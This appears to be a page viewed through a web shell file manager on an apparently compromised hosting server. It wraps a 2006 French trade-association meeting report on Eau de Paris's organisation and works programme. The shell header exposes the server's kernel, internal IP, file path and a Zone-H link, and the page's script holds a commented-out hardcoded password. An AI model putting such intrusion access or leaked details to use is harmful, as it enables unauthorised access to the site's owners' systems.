PV.Pat File Manager

Kernel Version: Linux webm010.cluster127.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64

Domains: CANT READ named.confSites Server IP: 10.127.20.10 [Bing Search] [Zone-H]

Path : /home/s/p/t/sptporgazz/www/ex_sptp/interieur/rencontres/2006/
File Upload :
Current File : /home/s/p/t/sptporgazz/www/ex_sptp/interieur/rencontres/2006/20060613-rencontre-leblanc.htm

<html>

<head>

<title>SPTP - Compte rendu </title>

<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">

<META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">

<script language="JavaScript">
<!--
<!--hide this script from non-javascript-enabled browsers
function MM_findObj(n, d) { //v3.0
  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document); return x;
}
/* Functions that swaps images. */
function MM_swapImage() { //v3.0
  var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3)
   if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];}
}
/* Functions that handle preload. */
// stop hiding -->
function MM_swapImgRestore() { //v3.0
  var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc;
}

function MM_preloadImages() { //v3.0
  var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
    var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
    if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
}
//-->

/*
function retour()
    {
      history.go(-1);
    }
var motdepasse="sptp75";//CHANGER ICI LE MOT DE PASSE
var name = prompt("Veuillez entre le mot de passe","");
if(name ==motdepasse)
  {}

else{ alert("Le mot de passe est incorrect ! Au Revoir..."); retour()}
 */             
// -->
</SCRIPT>

<link rel="stylesheet" type="text/css" href="../../../txt.css"></head>

<body bgcolor="#9eb5dc" onLoad="MM_preloadImages('../../pix/retour_f2.gif','../../pix/retour_menu_f2.gif','../../pix/menu_syndicat_f2.jpg','../../pix/menu_membres_f2.jpg','../../pix/menu_calendrier_f2.jpg','../../pix/menu_chiffres_clefs_f2.jpg','../../pix/menu_acces_restreint_f2.gif','../../pix/menu_rencontres_f2.jpg','../../pix/menu_conseils_f2.jpg','../../pix/menu_contact_f2.jpg','../../pix/menu_assemblee_generale_f2.jpg','../../pix/menu_acces_restreint_f2.jpg','../pix/menu_acces_restreint_f2.jpg')" background="../../pix/fond.jpg" marginwidth="0" marginheight="7" topmargin="7" leftmargin="0" link="#003366" vlink="#663300" alink="#0000CC">

<a name="top"></a> 

<table border="0" cellpadding="0" cellspacing="0" align="center" width="634">

  <!-- fwtable fwsrc="sptp (interieur).png" fwbase="cc.jpg" --> 

  <tr valign="top">

    <td width="158"> 

      <table border="0" cellspacing="0" cellpadding="0">

        <tr valign="bottom"> 

          <td height="81"><img src="../../pix/i1.gif" width="192" height="48"></td>

        </tr>

        <tr> 

          <td> 

            <table width="80%" border="0" cellspacing="0" cellpadding="0">

              <tr> 

                <td><a href="../../syndicat_hist.htm" onMouseOut="MM_swapImgRestore()"  onMouseOver="MM_swapImage('menu_syndicat','','../../pix/menu_syndicat_f2.jpg',1)" ><img name="menu_syndicat" src="../../pix/menu_syndicat.jpg" width="179" height="34" border="0"><br>

                  </a><a href="../../membres.htm" onMouseOut="MM_swapImgRestore()"  onMouseOver="MM_swapImage('menu_membres','','../../pix/menu_membres_f2.jpg',1)" ><img name="menu_membres" src="../../pix/menu_membres.jpg" width="179" height="29" border="0"><br>

                  </a><a href="#" onMouseOut="MM_swapImgRestore()"  onMouseOver="MM_swapImage('menu_calendrier','','../../pix/menu_calendrier_f2.jpg',1)" ><img name="menu_calendrier" src="../../pix/menu_calendrier.jpg" width="179" height="32" border="0"><br>

                  </a><a href="../../chiffres_clefs.htm" onMouseOut="MM_swapImgRestore()"  onMouseOver="MM_swapImage('menu_chiffres_clefs','','../../pix/menu_chiffres_clefs_f2.jpg',1)" ><img name="menu_chiffres_clefs" src="../../pix/menu_chiffres_clefs.jpg" width="179" height="36" border="0"><br>

                  </a><img name="menu_acces_restreint" src="../../pix/menu_acces_restreint.jpg" width="179" height="37" border="0"><br>

                  <a href="../../rencontres.htm" onMouseOut="MM_swapImgRestore()"  onMouseOver="MM_swapImage('menu_acces_restreint','','../../pix/menu_acces_restreint_f2.jpg','menu_rencontres','','../../pix/menu_rencontres_f2.jpg',1)" ><img name="menu_rencontres" src="../../pix/menu_rencontres.jpg" width="179" height="29" border="0"><br>

                  </a><a href="../../conseil_adm.htm" onMouseOut="MM_swapImgRestore()"  onMouseOver="MM_swapImage('menu_acces_restreint','','../../pix/menu_acces_restreint_f2.jpg','menu_conseils','','../../pix/menu_conseils_f2.jpg',1)" ><img name="menu_conseils" src="../../pix/menu_conseils.jpg" width="179" height="34" border="0"><br>

                  </a><a href="../../ag.htm" onMouseOut="MM_swapImgRestore()"  onMouseOver="MM_swapImage('menu_acces_restreint','','../../pix/menu_acces_restreint_f2.jpg','menu_assemblee_general','','../../pix/menu_assemblee_generale_f2.jpg',1)" ><img name="menu_assemblee_general" src="../../pix/menu_assemblee_generale.jpg" width="179" height="37" border="0"></a><a href="../../ag.htm" onMouseOut="MM_swapImgRestore()"  onMouseOver="MM_swapImage('menu_acces_restreint','','../../pix/menu_acces_restreint_f2.gif','menu_assemblee_general','','../../pix/menu_assemblee_general_f2.gif',1)" ><br>

                  </a><a href="../../contact.htm" onMouseOut="MM_swapImgRestore()"  onMouseOver="MM_swapImage('menu_contact','','../../pix/menu_contact_f2.jpg',1)" ><img name="menu_contact" src="../../pix/menu_contact.jpg" width="179" height="31" border="0"><br>

                  </a><a href="../contact.htm" ><img name="menu_acces" src="../../pix/i5.jpg" width="179" border="0" height="31"></a></td>

                <td><img src="../../pix/i3.gif" width="13" height="330"></td>

              </tr>

            </table>

          </td>

        </tr>

        <tr> 

          <td><img src="../../pix/i4.gif" width="192" height="16"></td>

        </tr>

      </table>

      <div align="center"><a href="../../index.html" onMouseOut="MM_swapImgRestore()" onMouseOver="MM_swapImage('retour_menu','','../../pix/retour_menu_f2.gif',1)"><img src="../../pix/retour_menu.gif" width="121" height="16" vspace="10" name="retour_menu" border="0"></a></div>

    </td>

    <!-- row 6 --> 

    <td width="478"> 

      <table border="0" cellspacing="0" cellpadding="0">

        <tr valign="bottom"> 

					<td><img src="../../pix/i_rencontres.gif" width="297" height="68"><img name="menu_cartouche" src="../../pix/rencontres_cartouche.gif" width="146" height="101" border="0"></td>

        </tr>

        <tr background="../../pix/fond_blanc2.gif" align="left" valign="top"> 

          <td height="295"> 

            <table width="100%" border="0" cellspacing="5" cellpadding="0">

              <tr align="left" valign="top"> 

                <td>                  
                	<div align="center">
                		<p align="center"><font face="Arial, Helvetica, sans-serif" size="3" color="#663300"><b>COMPTE
                			RENDU </b></font>
					<p align="center"><span class="titre1">INTERVENTION DE FRANCOIS LEBLANC <br>
						Directeur G&eacute;n&eacute;ral Adjoint - Sagep
						<br>
						JEUDI 16 NOVEMBRE 2006
</span>                								
					<p align="center">                	</div>
                	<p align="left"><span class="titre1"><b>Administrateurs
					Pr&eacute;sents : </b></span><font face="Arial, Helvetica, sans-serif" size="3" color="#663300"><b><br>
				  </b></font><span class="texte">MM.  Jean-Pierre <strong>Debeaumont </strong>(Sob&eacute;a  Environnement), Pierre <strong>Deniau</strong> (Eurovia Management), Robert <strong>Farge</strong> (Chantiers Modernes), Pascal <strong>Gautier</strong> (sade), (Bernard <strong>Godinot</strong> (GTM Construction), Christian <strong>Lacroix </strong>(Freyssinet), Alain <strong>Marchand</strong> (Soletanche Bachy), Michel <strong>Peccenini </strong>(DG  Construction), J&eacute;r&ocirc;me <strong>Perrin</strong> (Razel), Philippe <strong>Viard </strong>(Demathieu  et Bard) et William <strong>Zerbib</strong> (Montcocol TP).</span></p>
                	<p align="left" class="texte">Fayez <strong>Boulos</strong> (Sog&eacute;a TPI) &eacute;tait repr&eacute;sent&eacute; par Robert <strong>Vaissi&egrave;re</strong>.</p>
                	<p align="left"><b class="titre1">Adh&eacute;rents
					Pr&eacute;sents :</b><font face="Arial, Helvetica, sans-serif"> <br>
										</font><span class="texte">MM. <strong>Feuillet</strong> (Bonna Sabla), <strong>Mirat</strong> (Bonna Sabla), Eric <strong>Labriet </strong>(GCC), Alain <strong>Lapersonn</strong>e,  Christophe <strong>Maliszewski</strong>&nbsp; (Urbaine  de Travaux), Dominique <strong>Mazas</strong> (Sefi  Intrafor), <strong>Mirabel </strong>(Razel), Bernard <strong>Salabert </strong>(Guintoli), et Daniel <strong>Vaillant </strong>(Campenon Bernard TP).</span></p>
				<p align="left"><span class="titre1"><b>Secr&eacute;taire
					g&eacute;n&eacute;ral :</b></span><br>
					<span class="texte">Isabelle Le Potier (Int&eacute;rim de Diane Lionel-Marie).<br>
					<em>Documents remis par  Monsieur LEBLANC joints au compte-rendu</em></span> </p>
				<div align="left">
					<p>
					<p><font color="#000066" size="2" face="Arial, Helvetica, sans-serif"><strong>HISTORIQUE</strong></font> 								</div>
				<p class="texte">Soci&eacute;t&eacute; Anonyme de Gestion des  Eaux de Paris a &eacute;t&eacute; cr&eacute;&eacute;e en 1987 pour produire et transporter l&rsquo;eau potable  consomm&eacute;e chaque jour par les Parisiens. C&rsquo;est une Soci&eacute;t&eacute; d&rsquo;Economie mixte  d&eacute;tenue &agrave; 70% par la Ville de Paris. Au service du public, Eau de Paris  participe &agrave; l&rsquo;information et &agrave; la sensibilisation du public aux questions de  l&rsquo;eau.</p>
				<span class="texte">Concession jusqu&rsquo;en 2011, avec une incertitude&nbsp; de continuit&eacute; &agrave; assurer le service public de l&rsquo;eau.</span><br>
				<br>
				<br>
				<div align="left">					<font color="#000066" size="2" face="Arial, Helvetica, sans-serif"><strong>ORGANISATION ET MOYEN </strong></font>				</div>
				<p class="texte">Eau de Paris est responsable de  la qualit&eacute; de l&rsquo;eau et de la pression au robinet du consommateur. Elle garantit  24h/24h une eau potable, en toute s&eacute;curit&eacute;.<br>
  Pour accomplir quotidiennement sa  mission, Eau de Paris s&rsquo;appuie sur&nbsp;:</p>
				<ul>
				  <li class="texte">600 salari&eacute;s entre son si&egrave;ge administratif, ses sites  de production et ses services associ&eacute;s,</li>
				  <li class="texte">1 centre de contr&ocirc;le et de commande de l&rsquo;eau de Paris,</li>
				  <li class="texte">3 usines de production d&rsquo;eau potable &agrave; Ivry, Orly et  Joinville,</li>
				  <li class="texte">94 points de pr&eacute;l&egrave;vement d&rsquo;eau souterraine sur les  sites de production d&rsquo;eau souterraine de Fontainebleau, Sens, Provins et  Montreuil sur Eure,</li>
				  <li class="texte">4 aqueducs principaux, Avres, Vanne, Loing et Voulzie,  repr&eacute;sentant 600 kilom&egrave;tres de lin&eacute;aire,</li>
				  <li class="texte">5 grands r&eacute;servoirs situ&eacute;s aux Portes de Paris,</li>
				  <li class="texte">Un p&eacute;riph&eacute;rique de l&rsquo;eau permettant des transferts  d&rsquo;eau entre les r&eacute;servoirs,</li>
				  <li class="texte">Un service r&eacute;alisations et maintenance,</li>
				  <li class="texte">Un service d&rsquo;auscultation des conduites,</li>
				  <li class="texte">Un service Ing&eacute;nierie,</li>
				  <li class="texte">Une plate-forme de recherche. <br>
				    <blockquote>
				      <blockquote>
				        <p><strong class="texte">Transport  de l&rsquo;eau</strong></p>
			            </blockquote>
			          </blockquote>
				    </li>
				</ul>
				<p><strong class="texte"><br>  
			        <img width="424" height="531" src="20060613-rencontre-leblanc_clip_image001.gif"></strong></p>
				<p class="texte">&nbsp;</p>
				<div align="left">
					<p>&nbsp; </p>
					<p><font color="#000066" size="2" face="Arial, Helvetica, sans-serif"><strong>QUELQUES CHIFFRES </strong></font></p>
					<ul>
					    <li>Capital de 1 million d&rsquo;euros r&eacute;parti comme  suit&nbsp;: </li>
				    </ul>
					<p><img src="chiffres.jpg" width="423" height="98"></p>
					<ul>
					  <li class="texte">Eau de Paris r&eacute;alise un chiffre d&rsquo;affaires de 130  Millions d&rsquo;euros,</li>
					  <li class="texte">Un b&eacute;n&eacute;fice de 1 &agrave; 2 millions d&rsquo;euros par an,</li>
					  <li class="texte">Chaque ann&eacute;e, Eau de Paris investit en moyenne 100  millions d&rsquo;euros de travaux,</li>
					  <li class="texte">Chaque jour la consommation moyenne des Parisiens  s&rsquo;&eacute;l&egrave;ve &agrave; 600.000 m&sup3;, avec une pointe  de consommation &agrave; 7h00 puis entre 19/20h.</li>
					  <li class="texte">R&eacute;duction de la consommation de 1 &agrave; 2% par an,</li>
					  <li class="texte">Augmentation du prix de l&rsquo;eau de 3% &agrave; compter du 1er  Janvier 2007</li>
				    </ul>
					<span class="texte">Au 1er octobre 2006, le prix de l&rsquo;eau &eacute;tait de 2,5332 &euro; TTC  le m&sup3;					</span>
					<p>&nbsp;</p>
					<p><font color="#000066" size="2" face="Arial, Helvetica, sans-serif"><strong>OBJECTIFS</strong></font></p>
					<p align="left" class="texte"><strong><u>P&ocirc;le d&rsquo;&eacute;changes</u></strong><u>&nbsp;</u><br></p>
					<p class="texte">Eau de Paris  souhaite favoriser un d&eacute;veloppement &agrave; la fois Environnemental, Economique et  Social. Trois axes d&eacute;terminent cette orientation&nbsp;:</p>
					<ul>
					  <li class="texte">Poursuivre  l&rsquo;action en faveur de l&rsquo;environnement dans le cadre de la d&eacute;marche  environnement certifi&eacute;e ISO 14001,</li>
				    </ul>
					<ul>
					  <ul>
					    <li class="texte">Assurer la s&eacute;curit&eacute; de l&rsquo;approvisionnement de  la Ville en Eau potable,</li>
				      </ul>
				    </ul>
					<ul>
					  <ul>
					    <li class="texte">Ma&icirc;triser la r&eacute;duction des impacts  environnementaux dans l&rsquo;exploitation des installations, la r&eacute;alisation des  travaux et la conduite des activit&eacute;s, afin de r&eacute;duire les teneurs en nitrates  et en pesticides.</li>
				      </ul>
				    </ul>
					<ul>
					  <li class="texte">Affirmer les  pratiques citoyennes d&rsquo;Eau de Paris,</li>
				    </ul>
					<ul>
					  <li class="texte">D&eacute;velopper la  citoyennet&eacute; de l&rsquo;entreprise.</li>
				    </ul>
					<p class="texte">Eau de Paris a  &eacute;galement d&rsquo;autres objectifs&nbsp;:</p>
					<ul>
					  <li class="texte">Concevoir un  produit de qualit&eacute;,</li>
					  <li class="texte">Informer et  Conseiller les consommateurs,</li>
					  <li class="texte">Partager ses  savoirs tant au plan National qu&rsquo;International,</li>
					  <li class="texte">Expertiser </li>
				    </ul>
					<p class="texte">Auditer.<br>
					</p>
					<p align="left" class="texte"><font color="#000066" size="2" face="Arial, Helvetica, sans-serif"><strong>PROGRAMME DE TRAVAUX </strong></font></p>
					<ul><li class="texte">
					  <p>Monsieur LEBLANC  indique un budget de 260 millions d&rsquo;euros de travaux pour les 5 ann&eacute;es &agrave; venir.</p>
					  <ul>
					    <li><strong><u>Aqueducs&nbsp;:</u></strong></li>
					    </ul>
					  <p><strong>Aqueducs Ouest</strong>&nbsp;: Anti-intrusion sur acc&egrave;s et &eacute;tanch&eacute;it&eacute;.<br>
					    <br>
					    <strong>Aqueducs Sud Fontainebleau</strong>&nbsp;: Vanne&nbsp;: Etanch&eacute;it&eacute; des arcade de Nemours sur la RN7 et  reprise sur zone b&eacute;ton &ndash; Loing&nbsp;: Conduite acier siphon de l&rsquo;Essonne et  enduit.<br>
					      <br>
				        <strong>Aqueducs de Provins</strong>&nbsp;: Consolidation.<br>
				          <br>
			            <strong>Aqueducs de la Voulzie</strong>&nbsp;: Reconstruction, renouvellement passerelle et conduite.<br>
			              <br>
		                <strong>Aqueduc Sens&nbsp;</strong>: Etanch&eacute;it&eacute;, am&eacute;nagement du siphon, changements des conduites.<br>
	                      <br>
                        <strong>Un budget total de 150 millions d&rsquo;euros sur les  renouvellements et r&eacute;novations des aqueducs.</strong></p>
					  <ul>
					    <li><strong><u>Usines de traitement</u></strong>&nbsp;:</li>
					    </ul>
					  <p><strong>Orly</strong>&nbsp;: Prise d&rsquo;eau, curage, cr&eacute;ation d&rsquo;un  atelier U.V., traitement des eaux de lavage.</p>
					  <p><strong>L&rsquo;Ha&yuml; les Roses&nbsp;</strong>:  Travaux d&rsquo;am&eacute;nagement, am&eacute;nagements ext&eacute;rieurs, conduite pression entre l&rsquo;Ha&yuml;  et Arcueil.</p>
					  <p><strong>Ivry&nbsp;</strong>: Tubage de la  conduite Ivry Sud, r&eacute;paration de galeries dans Ivry, R&eacute;novation Ozone.</p>
					  <p><strong>Joinville </strong>: Couverture  bassins filtrants et automatisme.</p>
					  <p><strong>Un budget total de 66 millions d&rsquo;euros sur les usines  de traitement.</strong></p>
					  <ul>
					    <li><strong><u>Installations INTRA-MUROS</u></strong>&nbsp;:</li>
					    </ul>
					  <p>R&eacute;habilitation de  la conduite Marigny sur 500m pour environ 2 millions d&rsquo;euros.</p>
					  <p><strong>Usine de pompage</strong>&nbsp;: R&eacute;habilitation&nbsp; b&acirc;timent Auteuil, Montmartre, environ 400m&sup2;  de bureaux.</p>
					  <p><strong>R&eacute;servoirs&nbsp;</strong>: Cuves de Belleville, aciers &agrave; reprendre  r&eacute;servoir des Lilas, Cl&ocirc;ture et d&eacute;tection anti-intrusion.</p>
					  <p><strong>R&eacute;seaux</strong>&nbsp;: D&eacute;viation des conduites/Galeries Pont  Mass&eacute;na, Ma&icirc;trise d&rsquo;&oelig;uvre de la prolongation du Tramway TM d&rsquo;ici f&eacute;vrier/mars  2007.</p>
					  <p><strong>Divers&nbsp;</strong>: S&eacute;curit&eacute; des sites &ndash; Contr&ocirc;le d&rsquo;acc&egrave;s,  Am&eacute;nagement du b&acirc;timent Wallace (bureaux).</p>
					  <strong>Un budget global de 50 &agrave; 60 millions d&rsquo;euros en travaux de G&eacute;nie Civil.<br>
					  <br>
					  </strong></li>
				    </ul>
					<p align="left" class="texte"><font color="#000066" size="2" face="Arial, Helvetica, sans-serif"><strong>APPEL D'OFFRE EAUX DE PARIS </strong></font></p>
					<p class="texte">Gestion &eacute;lectronique des Appels d&rsquo;Offres, veille commerciale,  &eacute;tude et soumission</p>
					<p><span class="texte"><strong>EDISYS, </strong>offre une <strong>cha&icirc;ne compl&egrave;te</strong> d'outils allant de  la veille sur les Avis d'Appel Public &agrave; la Concurrence (AAPC) jusqu'&agrave; la  soumission automatis&eacute;e des offres. </span>
				      <br>
					</p>
					<p class="texte"><font color="#000066" size="2" face="Arial, Helvetica, sans-serif"><strong>CHOIX DES OFFRES </strong></font></p>
					<p class="texte">Monsieur  LEBLANC fait part d&rsquo;&eacute;l&eacute;ments n&eacute;cessaires et obligatoires constituant les appels  d&rsquo;offres&nbsp;:</p>
					<ul>
					  <li class="texte">Pond&eacute;ration  des crit&egrave;res,</li>
					  <li class="texte">El&eacute;ment  de la composition des prix,</li>
				    </ul>
					<p class="texte">Et  indique qu&rsquo;Eaux de Paris va &ecirc;tre tr&egrave;s attentif&nbsp;&agrave;/aux:</p>
					<ul>
					  <li class="texte">L&rsquo;Importance  de la cotation,</li>
					  <li class="texte">Chantiers  sans nuisance,</li>
					  <li class="texte">La  Gestion de l&rsquo;&eacute;nergie,</li>
					  <li class="texte">Travailler  sur la communication,</li>
					  <li class="texte">La  S&eacute;curit&eacute; sur les chantiers (Normes ISO).</li>
				    </ul>
					<span class="texte"><em>Le Pr&eacute;sident Bernard  GODINOT&nbsp; remercie vivement Monsieur&nbsp; Fran&ccedil;ois LEBLANC d&rsquo;avoir accept&eacute; cette  rencontre et de nous avoir pr&eacute;sent&eacute; l&rsquo;organisation et les projets d&rsquo;Eaux de Paris.</em></span>
					<p class="texte">&nbsp;</p>
					<p class="texte">&nbsp;</p>
				</div>
				<div align="left"><p>                  </div>                </td>
              </tr>

            </table>

            <div align="center"><a href="#top" onMouseOut="MM_swapImgRestore()" onMouseOver="MM_swapImage('Image1','','../../pix/retour_f2.gif',1)"><img src="../../pix/retour.gif" width="121" height="16" border="0" name="Image1"></a><br>

            </div>

          </td>

        </tr>

      </table>

      <p>&nbsp;</p>

    </td>

  </tr>

  <map name="m_null"> <area shape="rect" coords="0,19,78,30" href="#" onMouseOut="MM_swapImage('ncc_3_5','','../../pix/null.gif',1)"  onMouseOver="MM_swapImage('ncc_3_5','','../../pix/null.gif',1)"  > 

    <area shape="rect" coords="0,33,78,44" href="#" onMouseOut="MM_swapImage('ncc_3_5','','../../pix/null.gif',1)"  onMouseOver="MM_swapImage('ncc_3_5','','../../pix/null.gif',1)"  > 

    <area shape="rect" coords="0,47,49,58" href="#" onMouseOut="MM_swapImage('ncc_3_5','','../../pix/null.gif',1)"  onMouseOver="MM_swapImage('ncc_3_5','','../../pix/null.gif',1)"  > 

    <area shape="rect" coords="0,61,60,72" href="#" onMouseOut="MM_swapImage('ncc_3_5','','../../pix/null.gif',1)"  onMouseOver="MM_swapImage('ncc_3_5','','../../pix/null.gif',1)"  > 

    <area shape="rect" coords="0,75,96,86" href="#" onMouseOut="MM_swapImage('ncc_3_5','','../../pix/null.gif',1)"  onMouseOver="MM_swapImage('ncc_3_5','','../../pix/null.gif',1)"  > 

  </map> <!--   This table was automatically created with Macromedia Fireworks 3.0   --> 

  <!--   http://www.macromedia.com   --> 

</table>

<map name="m_menu_cartouche"> <area shape="rect" coords="0,19,78,30" href="#" onMouseOut="MM_swapImage('menu_cartouche','','../../pix/syndicat_cartouche.gif',1)"  onMouseOver="MM_swapImage('menu_cartouche','','../../pix/syndicat_cartouche_f2.gif',1)"  > 

  <area shape="rect" coords="0,33,78,44" href="#" onMouseOut="MM_swapImage('menu_cartouche','','../../pix/syndicat_cartouche.gif',1)"  onMouseOver="MM_swapImage('menu_cartouche','','../../pix/syndicat_cartouche_f2.gif',1)"  > 

  <area shape="rect" coords="0,47,49,58" href="#" onMouseOut="MM_swapImage('menu_cartouche','','../../pix/syndicat_cartouche.gif',1)"  onMouseOver="MM_swapImage('menu_cartouche','','../../pix/syndicat_cartouche_f2.gif',1)"  > 

  <area shape="rect" coords="0,61,60,72" href="#" onMouseOut="MM_swapImage('menu_cartouche','','../../pix/syndicat_cartouche.gif',1)"  onMouseOver="MM_swapImage('menu_cartouche','','../../pix/syndicat_cartouche_f2.gif',1)"  > 

  <area shape="rect" coords="0,75,96,86" href="#" onMouseOut="MM_swapImage('menu_cartouche','','../../pix/syndicat_cartouche.gif',1)"  onMouseOver="MM_swapImage('menu_cartouche','','../../pix/syndicat_cartouche_f2.gif',1)"  > 

</map> 

</body>



</html>




WiTcH hUnT3r Plugin 2018